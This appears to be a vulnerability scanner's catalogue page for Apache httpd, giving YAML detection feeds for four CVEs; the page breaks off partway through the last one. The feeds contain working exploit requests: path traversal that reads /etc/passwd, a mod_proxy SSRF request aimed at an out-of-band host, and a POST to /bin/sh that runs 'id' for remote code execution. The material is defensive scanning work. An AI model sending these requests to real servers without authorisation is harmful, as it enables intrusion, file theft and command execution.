Apache httpd — 5 vulnerability checks

noctis ships 5 vulnerability checks for Apache httpd, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache HTTP Server 2.4.49/2.4.50 Path Traversal via Double URL Encoding

CVECVE-2021-42013
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/apache-httpd/CVE-2021-42013.yaml

Tests Apache HTTP Server 2.4.49 and 2.4.50 for the path traversal through double URL-encoded dots, the bypass of the incomplete CVE-2021-41773 fix. The test requests /etc/passwd through %%32%65 segments under /icons/, then under /cgi-bin/ (the alias the default configuration keeps), with two encodings sent verbatim over raw TCP, and, when its root entry comes back, sends the same traversal for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. The passwd content itself is not copied into the finding.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%3…
  2. Checks lfi_resp.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP…
  4. Checks lfi_resp_alt.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HT…
  6. Checks lfi_resp_cgi.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%…
  8. Checks lfi_resp_cgi_alt.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0
  10. Parses / computes the next value with a Rhai script
  11. Checks trav for ^/(icons|cgi-bin)/ → finding QoD 75: GET …etc/passwd returned /etc/passwd (root entry) through the double-encoded traversal; the same traversal for an absent file did not (CVE-…
Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-42013.yaml
# Apache HTTP Server 2.4.49/2.4.50 double-encoded path traversal — CVE-2021-42013
#
# Probes /icons/ (the alias of conf/extra/httpd-autoindex.conf) and /cgi-bin/
# (the ScriptAlias of the stock httpd.conf, which leaves the autoindex include
# commented out — #2504: real 2.4.50 with the stock config is only readable
# through /cgi-bin/; without a CGI module the file is served as-is).
uid: 5ae08e89-e18d-4be8-ba3b-2bbeed6942e8
name: "Apache HTTP Server 2.4.49/2.4.50 Path Traversal via Double URL Encoding (CVE-2021-42013)"
description: |
  Tests Apache HTTP Server 2.4.49 and 2.4.50 for the path traversal through
  double URL-encoded dots, the bypass of the incomplete CVE-2021-41773 fix.
  The test requests /etc/passwd through %%32%65 segments under /icons/, then
  under /cgi-bin/ (the alias the default configuration keeps), with two
  encodings sent verbatim over raw TCP, and, when its root entry comes back,
  sends the same traversal for an absent file in a random missing directory:
  the finding is reported only when that control gets an HTTP reply without
  passwd content, so a server that answers every path with the same file is
  not reported. The passwd content itself is not copied into the finding.
cves: [CVE-2021-42013]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, path-traversal, lfi, rce, kev]
services: [http, https]
author: noctis
version: "1.1.0"

steps:
  # Pre-initialised so a failed connect leaves an empty banner, not an
  # undefined variable.
  - id: init-lfi-resp
    action: set_var
    var_name: lfi_resp
    var_value: {connected: false, banner: ""}

  - id: init-lfi-resp-alt
    action: set_var
    var_name: lfi_resp_alt
    var_value: {connected: false, banner: ""}

  - id: init-lfi-resp-cgi
    action: set_var
    var_name: lfi_resp_cgi
    var_value: {connected: false, banner: ""}

  - id: init-lfi-resp-cgi-alt
    action: set_var
    var_name: lfi_resp_cgi_alt
    var_value: {connected: false, banner: ""}

  # Traversal prefix that read the file ("" = none did); reused by the control.
  - id: init-trav
    action: set_var
    var_name: trav
    var_value: ""

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  # LFI via raw TCP — double URL-encoding bypass (%%32%65 → %2e → .)
  # Reqwest normalises URLs, so tcp_connect is mandatory to send verbatim.
  - id: lfi-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp

  # No finding here: the raw reply is the whole passwd file and must not
  # become evidence. The finding is raised below from a fixed summary.
  - id: lfi-match
    action: match
    source: lfi_resp.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    on_match:
      set_vars:
        trav: "/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/"

  # Alternative dotslash pattern (only if the first one read nothing)
  - id: lfi-probe-alt
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav == ""'
    send: "GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp_alt

  - id: lfi-match-alt
    action: match
    source: lfi_resp_alt.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    condition: 'trav == ""'
    on_match:
      set_vars:
        trav: "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/"

  # Same two encodings under /cgi-bin/: the stock httpd.conf has no /icons/
  # alias, but ScriptAlias /cgi-bin/ serves the file when no CGI module is loaded.
  - id: lfi-probe-cgi
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav == ""'
    send: "GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp_cgi

  - id: lfi-match-cgi
    action: match
    source: lfi_resp_cgi.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    condition: 'trav == ""'
    on_match:
      set_vars:
        trav: "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/"

  - id: lfi-probe-cgi-alt
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav == ""'
    send: "GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp_cgi_alt

  - id: lfi-match-cgi-alt
    action: match
    source: lfi_resp_cgi_alt.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    condition: 'trav == ""'
    on_match:
      set_vars:
        trav: "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/"

  # ── Control: same traversal, absent file ─────────────────────────────────
  # A random missing directory, still ending in etc/passwd, so a honeypot that
  # keys a fake file on that name answers it too. Apache answers 404.
  - id: lfi-control
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav != ""'
    send: "GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: ctrl_resp

  # Fail closed: the control must have answered over HTTP, without passwd content.
  - id: lfi-control-verdict
    action: script
    condition: 'trav != ""'
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0", b)
    store_as: ctrl_clean

  - id: lfi-report
    action: match
    source: trav
    pattern: "^/(icons|cgi-bin)/"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "GET {{trav}}etc/passwd returned /etc/passwd (root entry) through the double-encoded traversal; the same traversal for an absent file did not (CVE-2021-42013)"
      stop: true

Apache HTTP Server mod_proxy SSRF via unix: URI

CVECVE-2021-40438
Severitycritical · CVSS 9.0
Categoryssrf — SSRF
Serviceshttp, https
Detectionscript, tcp_connect, wait_oob, set_var, match · highest QoD 97
Feedtests/vulnerabilities/apache-httpd/CVE-2021-40438.yaml

Tests Apache HTTP Server 2.4.48 and earlier with mod_proxy for the server-side request forgery in unix: socket URIs. The feed sends GET /?unix:<7701 x A>|http://<random>.invalid/ : on a vulnerable proxy the overlong socket path makes mod_proxy fall back to the URL after "|", so it tries to reach the random host and answers with a 502 Proxy Error naming it ("DNS lookup failure for: <random>.invalid"). The host name is random per scan under the reserved .invalid top-level domain, so only a proxy that really tried to connect to it can name it. When out-of-band detection is enabled, the same request pointing at the out-of-band server must make the target call it back. Fixed releases (2.4.49 and later) ignore the URL and servers without a proxy on / serve their normal page; neither is reported. Only the root location (/) is tested.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /?unix:{{x.pad}}|http://{{oob_host}}:{{oob_port}}/{{oob_token}} HTTP/1.1, for each of 6 values
  3. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: GET /?unix:<7701 x A>|http://…:…/… made the server call the OOB URL back
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /?unix:{{x.pad}}|http://{{x.host}}/ HTTP/1.1
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. Checks dns_hit for ^true$ → finding QoD 75: GET /?unix:<7701 x A>|http://…/ (attempt …) answered with a mod_proxy error for a host only the unix: fallback URL can name: DNS lookup fai…

References:

Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-40438.yaml
# Apache HTTP Server mod_proxy unix: URI SSRF — CVE-2021-40438
#
# httpd 2.4.48 and earlier: when a request reaches a mod_proxy location
# (ProxyPass, RewriteRule [P]…), "?unix:<path>|<url>" in the URI selects a
# Unix-domain-socket backend. A <path> longer than the socket path limit
# makes the socket lookup fail and mod_proxy falls back to the <url> after
# "|", so the client chooses the origin server Apache connects to (SSRF).
#
# Detection (no write, no OOB needed):
#   GET /?unix:<7701 x A>|http://noctis<random>.invalid/
# A vulnerable proxy tries to resolve the random host and answers
#   502 Proxy Error … DNS lookup failure for: noctis<random>.invalid
# (verified on the official httpd:2.4.48 image with ProxyPass "/"). The
# host name is random per scan and lives under the reserved .invalid TLD,
# so only a proxy that really tried to reach it names it in an error;
# httpd 2.4.49+ ignores the URL after "|" (503 from the configured backend)
# and a server without mod_proxy on "/" serves its normal page. QoD 75.
#
# OOB (QoD 97, condition oob_enabled, tried first): the same request with
# |http://{{oob_host}}:{{oob_port}}/{{oob_token}} makes the proxy itself call
# the OOB server — covers proxies whose resolver answers for every name or
# that replace the 502 page with a custom error document.
#
# Connection pooling (seen on the real 2.4.48 image): a pooled backend
# connection keeps the first host it was bound to. The fallback URL is only
# honoured on a pooled connection not yet bound to a host; afterwards that
# connection keeps naming the host of the probe that first used it. Hence:
#   - each probe is sent up to 6 times (requests spread over the child
#     processes);
#   - the in-band check accepts the name of THIS scan's host or any host this
#     feed generates (noctis + 10 hex digits + .invalid) — an earlier scan's
#     name bound to a connection is still proof that the fallback URL was
#     followed; a fixed release never resolves it.
# A proxy whose child processes all already serve real proxied traffic
# through bound connections may not take the fallback URL at all: not
# reported (false negative shared by every request-based check).
#
# Previous version matched a marker only the mock returned (issue #2342).
#
# CVSS: NVD v3.1 9.0.
uid: 1311ff53-d33d-45d2-b644-e615d0087223
name: "Apache HTTP Server mod_proxy SSRF via unix: URI (CVE-2021-40438)"
description: |
  Tests Apache HTTP Server 2.4.48 and earlier with mod_proxy for the
  server-side request forgery in unix: socket URIs. The feed sends
  GET /?unix:<7701 x A>|http://<random>.invalid/ : on a vulnerable proxy the
  overlong socket path makes mod_proxy fall back to the URL after "|", so it
  tries to reach the random host and answers with a 502 Proxy Error naming it
  ("DNS lookup failure for: <random>.invalid"). The host name is random per
  scan under the reserved .invalid top-level domain, so only a proxy that
  really tried to connect to it can name it. When out-of-band detection is
  enabled, the same request pointing at the out-of-band server must make the
  target call it back. Fixed releases (2.4.49 and later) ignore the URL and
  servers without a proxy on / serve their normal page; neither is reported.
  Only the root location (/) is tested.
cves: [CVE-2021-40438]
cvss: 9.0
severity: critical
category: ssrf
confidence_base: 0.20
tags: [apache, mod_proxy, ssrf, kev, oob]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-40438"
  - "https://httpd.apache.org/security/vulnerabilities_24.html"
  - "https://firzen.de/building-a-poc-for-cve-2021-40438"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40438.yaml"

steps:
  # Random host name under the reserved .invalid TLD, and the overlong
  # unix: socket path (7701 bytes keeps the request line under httpd's 8190).
  - id: build
    action: script
    code: |
      #{ host: "noctis" + rand_hex(5) + ".invalid", pad: crap(7701, "A") }
    store_as: x

  # ── OOB first (QoD 97): the proxy itself calls the OOB server ─────────────
  # Sent up to 6 times: mod_proxy only honours the URL on a pooled backend
  # connection that has not been bound to a host yet (see the header).
  - id: ssrf-oob-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?unix:{{x.pad}}|http://{{oob_host}}:{{oob_port}}/{{oob_token}} HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    condition: "oob_enabled"
    store_as: oob_probe
    loop:
      var: attempt
      over: ["1", "2", "3", "4", "5", "6"]

  - id: ssrf-oob-wait
    action: wait_oob
    oob_timeout_secs: 15
    condition: "oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.77   # 0.20 + 0.77 = 0.97
        qod: 97
        evidence: "GET /?unix:<7701 x A>|http://{{oob_host}}:{{oob_port}}/{{oob_token}} made the server call the OOB URL back"
      stop: true

  # ── In-band (QoD 75): mod_proxy error naming a noctis .invalid host ───────
  - id: init-dns-hit
    action: set_var
    var_name: dns_hit
    var_value: false

  - id: init-dns-name
    action: set_var
    var_name: dns_name
    var_value: ""

  # Loop group: up to 6 attempts, each resetting the stored reply first.
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: ""}
    loop:
      var: attempt
      over: ["1", "2", "3", "4", "5", "6"]

  - id: ssrf-dns-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?unix:{{x.pad}}|http://{{x.host}}/ HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    condition: "dns_hit == false"
    store_as: resp

  # The name after "DNS lookup failure for: " must be this scan's host, or
  # one an earlier scan of this feed left bound to a pooled connection
  # (noctis + 10 hex digits + .invalid): only a proxy that honoured the
  # unix: fallback URL ever tried to resolve such a name.
  - id: ssrf-dns-name
    action: script
    code: |
      let name = dns_name;
      if dns_hit == false && type_of(resp.banner) == "string" {
        let k = "DNS lookup failure for: ";
        let i = resp.banner.index_of(k + "noctis");
        if i >= 0 {
          let cand = resp.banner.sub_string(i + k.len(), 24);
          if ereg("^noctis[0-9a-f]{10}[.]invalid$", cand) { name = cand; }
        }
      }
      name
    store_as: dns_name

  - id: ssrf-dns-verdict
    action: script
    code: |
      dns_name != ""
    store_as: dns_hit

  - id: ssrf-dns-match
    action: match
    source: dns_hit
    pattern: "^true$"
    condition: "dns_hit == true"
    on_match:
      finding:
        confidence_delta: 0.55   # 0.20 + 0.55 = 0.75
        qod: 75
        evidence: "GET /?unix:<7701 x A>|http://{{x.host}}/ (attempt {{attempt}}) answered with a mod_proxy error for a host only the unix: fallback URL can name: DNS lookup failure for: {{dns_name}}"
      stop: true

Apache httpd 2.4.49 Path Traversal / RCE

CVECVE-2021-41773
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 97
Feedtests/vulnerabilities/apache-httpd/CVE-2021-41773.yaml

Tests Apache HTTP Server 2.4.49 for the path traversal through %2e-encoded dots. The test requests /etc/passwd through .%2e/ segments under /icons/, then under /cgi-bin/ (the alias the default configuration keeps), sent verbatim over raw TCP and, when its root entry comes back, sends the same traversal for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. When the file read is not reported, it POSTs an `id` command to /bin/sh through the same traversal under /cgi-bin/ and reports remote code execution when the `id` output comes back (CGI enabled). When that request returns the /bin/sh executable itself (CGI not loaded, the file is served as-is), it reports the file read, after the same absent-file control.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0
  2. Checks lfi_resp.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0
  4. Checks lfi_resp_cgi.banner for ^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Checks trav for ^/(icons|cgi-bin)/ → finding QoD 75: LFI confirmed — GET …etc/passwd returned /etc/passwd (root entry), the same traversal for an absent file did not
  8. Raw TCP (TLS on HTTPS), sent verbatim: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.0
  9. Checks rce_resp.banner for uid=\d+\(\w+\) → finding QoD 97: RCE confirmed via mod_cgi — `id` output in response
  10. Checks rce_resp.banner for ^HTTP/1\.[01] 200[^\n]*\n(?:[^\n]*\S[^\n]*\n)*?\r?\n\x7fELF
  11. Raw TCP (TLS on HTTPS), sent verbatim: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/noctis-absent-{{oob_token}}/bin/sh HTTP/1.0
  12. Parses / computes the next value with a Rhai script
  13. Checks elf_read for ^/bin/sh$ → finding QoD 75: File read confirmed — POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh returned the /bin/sh ELF executable as a file (CGI not loaded, no code execu…

References:

Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-41773.yaml
# Apache HTTP Server 2.4.49 Path Traversal / RCE — CVE-2021-41773
#
# Reqwest (and any standard HTTP client) normalises URLs: %2e → . then
# resolves ../ segments before sending. The traversal must therefore go
# through tcp_connect to send the path verbatim without normalisation.
#
# Methods:
#   1. LFI via tcp_connect (QoD 75) — reads /etc/passwd through /icons/, then
#      through /cgi-bin/ (#2504: the stock httpd.conf leaves the /icons/ alias
#      of httpd-autoindex.conf commented out, while ScriptAlias /cgi-bin/ is on
#      and serves files as-is when no CGI module is loaded). Then sends the same
#      traversal for an absent file (random missing directory, same etc/passwd
#      ending) and reports only when that control answers without passwd
#      content, so a server that returns passwd for every path is not reported.
#   2. RCE via tcp_connect POST to /cgi-bin/../bin/sh (QoD 97)
#   3. When that POST returns the /bin/sh ELF image instead (CGI not loaded):
#      file read (QoD 75), with an absent-file control under the same traversal.
uid: a3c7f4e2-1b9d-4f6a-8e3c-2d5a0f1e9b4c
name: "Apache httpd 2.4.49 Path Traversal / RCE (CVE-2021-41773)"
description: |
  Tests Apache HTTP Server 2.4.49 for the path traversal through %2e-encoded
  dots. The test requests /etc/passwd through .%2e/ segments under /icons/,
  then under /cgi-bin/ (the alias the default configuration keeps), sent
  verbatim over raw TCP and, when its root entry comes back, sends the same
  traversal for an absent file in a random missing directory: the finding is
  reported only when that control gets an HTTP reply without passwd content,
  so a server that answers every path with the same file is not reported.
  When the file read is not reported, it POSTs an `id` command to /bin/sh
  through the same traversal under /cgi-bin/ and reports remote code execution
  when the `id` output comes back (CGI enabled). When that request returns the
  /bin/sh executable itself (CGI not loaded, the file is served as-is), it
  reports the file read, after the same absent-file control.
cves: [CVE-2021-41773]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, path-traversal, rce, lfi, cgi]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773"
  - "https://httpd.apache.org/security/vulnerabilities_24.html"


steps:
  # Pre-initialised so a failed connect leaves an empty banner, not an
  # undefined variable.
  - id: init-lfi-resp
    action: set_var
    var_name: lfi_resp
    var_value: {connected: false, banner: ""}

  - id: init-lfi-resp-cgi
    action: set_var
    var_name: lfi_resp_cgi
    var_value: {connected: false, banner: ""}

  # Traversal prefix that read the file ("" = none did); reused by the control.
  - id: init-trav
    action: set_var
    var_name: trav
    var_value: ""

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: init-rce-resp
    action: set_var
    var_name: rce_resp
    var_value: {connected: false, banner: ""}

  - id: init-elf-read
    action: set_var
    var_name: elf_read
    var_value: ""

  - id: init-elf-ctrl-resp
    action: set_var
    var_name: elf_ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-elf-ctrl-clean
    action: set_var
    var_name: elf_ctrl_clean
    var_value: false

  # ── Method 1: LFI via raw TCP ────────────────────────────────────────────
  # GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd — path sent verbatim
  - id: lfi-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp

  # No finding here: the raw reply is the whole passwd file and must not
  # become evidence. The finding is raised below from a fixed summary.
  - id: lfi-match
    action: match
    source: lfi_resp.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    on_match:
      set_vars:
        trav: "/icons/.%2e/.%2e/.%2e/.%2e/"

  # Same read under /cgi-bin/: the stock httpd.conf has no /icons/ alias, but
  # ScriptAlias /cgi-bin/ serves the file when no CGI module is loaded.
  - id: lfi-probe-cgi
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav == ""'
    send: "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp_cgi

  - id: lfi-match-cgi
    action: match
    source: lfi_resp_cgi.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
    condition: 'trav == ""'
    on_match:
      set_vars:
        trav: "/cgi-bin/.%2e/.%2e/.%2e/.%2e/"

  # ── Control: same traversal, absent file ─────────────────────────────────
  # A random missing directory, still ending in etc/passwd, so a honeypot that
  # keys a fake file on that name answers it too. Apache answers 404.
  - id: lfi-control
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'trav != ""'
    send: "GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: ctrl_resp

  # Fail closed: the control must have answered over HTTP, without passwd content.
  - id: lfi-control-verdict
    action: script
    condition: 'trav != ""'
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0", b)
    store_as: ctrl_clean

  - id: lfi-report
    action: match
    source: trav
    pattern: "^/(icons|cgi-bin)/"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "LFI confirmed — GET {{trav}}etc/passwd returned /etc/passwd (root entry), the same traversal for an absent file did not"
      stop: true

  # ── Method 2: RCE via mod_cgi ────────────────────────────────────────────
  # POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh — executes `id`
  - id: rce-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n\r\necho Content-Type: text/plain; echo; id"
    store_as: rce_resp

  - id: rce-match
    action: match
    source: rce_resp.banner
    pattern: "uid=\\d+\\(\\w+\\)"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "RCE confirmed via mod_cgi — `id` output in response"
      stop: true

  # ── Method 3: CGI not loaded — the POST served /bin/sh as a file ────────
  # No finding here: the reply is the binary itself. Only the ELF magic right
  # after the headers of a 200 reply counts.
  - id: elf-match
    action: match
    source: rce_resp.banner
    pattern: "^HTTP/1\\.[01] 200[^\\n]*\\n(?:[^\\n]*\\S[^\\n]*\\n)*?\\r?\\n\\x7fELF"
    on_match:
      set_vars:
        elf_read: "/bin/sh"

  # Same POST as the probe, for an absent file.
  - id: elf-control
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: 'elf_read != ""'
    send: "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/noctis-absent-{{oob_token}}/bin/sh HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n\r\necho Content-Type: text/plain; echo; id"
    store_as: elf_ctrl_resp

  # Fail closed: the control must have answered over HTTP, without an ELF image.
  - id: elf-control-verdict
    action: script
    condition: 'elf_read != ""'
    code: |
      let b = elf_ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("\\x7fELF", b)
    store_as: elf_ctrl_clean

  - id: elf-report
    action: match
    source: elf_read
    pattern: "^/bin/sh$"
    condition: "elf_ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "File read confirmed — POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh returned the /bin/sh ELF executable as a file (CGI not loaded, no code execution); the same traversal for an absent file did not"
      stop: true

Apache 1.3 mod_ssl < 2.8.19 ssl_log Format String

CVECVE-2004-0700
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectiontcp_connect, script, match · highest QoD 70
Feedtests/vulnerabilities/apache-httpd/CVE-2004-0700.yaml

mod_ssl, the SSL/TLS module for Apache HTTP Server 1.3, has a format string bug in its logging function (`ssl_log`) before version 2.8.19: when Apache proxies HTTPS requests through mod_proxy, text coming from the remote server can reach the log call as a format string, which may let a remote attacker run code in the Apache process.

The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services), reads the `Server:` response header and reports the host when it advertises an Apache 1.x server (including Mandrake's Apache-AdvancedExtranetServer 1.x build) with a mod_ssl product token older than 2.8.19 (any 1.x, 2.0 to 2.7, and 2.8.0 to 2.8.18). mod_ssl 2.8.19 and later, Apache 2.x (whose mod_ssl carries the Apache 2 version number and is not affected), servers that hide their module list and banners naming Darwin (Apple ships its own patched builds) are not reported.

This is a version check: the bug can only be triggered by a malicious upstream server answering a proxied request, so nothing is sent beyond the request above. Distributions that backported the fix without changing the version are reported too.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Checks ver.version for ^[0-9] → finding QoD 70: Server header '…': Apache 1.x with mod_ssl …, older than 2.8.19 (ssl_log format string reachable through mod_proxy; not triggered).

References:

Feed source — tests/vulnerabilities/apache-httpd/CVE-2004-0700.yaml
# Ported from OpenVAS/Greenbone NASL pre2008/mod_ssl_hook_functions_format_string_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.13651, GPL-2.0-only), which reports an Apache 1.x
# Server: header carrying `mod_ssl/(1.*|2\.([0-7]\..*|8\.([0-9]|1[0-8])[^0-9]))`
# (and skips any banner naming Darwin).
#
# Better than the NASL:
#  - only the Server: header line is searched (the NASL's strstr(banner, "Server")
#    also scans every header that follows it);
#  - the mod_ssl version is compared numerically, so a Server: value ending right
#    after the version (no trailing byte for the NASL's `[^0-9]`) and four-part
#    releases such as 2.8.5.1 are covered;
#  - Mandrake's Apache 1.3 build (`Apache-AdvancedExtranetServer/1.3.x`), which the
#    NASL drops because it lacks the literal `Apache/`, is covered too;
#  - the Apache product version is required to be 1.x explicitly (`Apache/2`,
#    `Apache/20…` or a bare `Apache` are never reported);
#  - raw tcp_connect, so a non-conformant reply is not dropped and HTTPS is covered.
#
# No benign exploit exists: the format string sits in mod_ssl's proxy logging path
# (messages from a remote HTTPS server proxied by mod_proxy), so the only trigger is
# a malicious upstream server — hence a version check (QoD 70).
uid: dd19af34-ba95-46be-9eb5-d7462212dcb6
name: "Apache 1.3 mod_ssl < 2.8.19 ssl_log Format String (CVE-2004-0700)"
description: |
  mod_ssl, the SSL/TLS module for Apache HTTP Server 1.3, has a format string bug
  in its logging function (`ssl_log`) before version 2.8.19: when Apache proxies
  HTTPS requests through mod_proxy, text coming from the remote server can reach
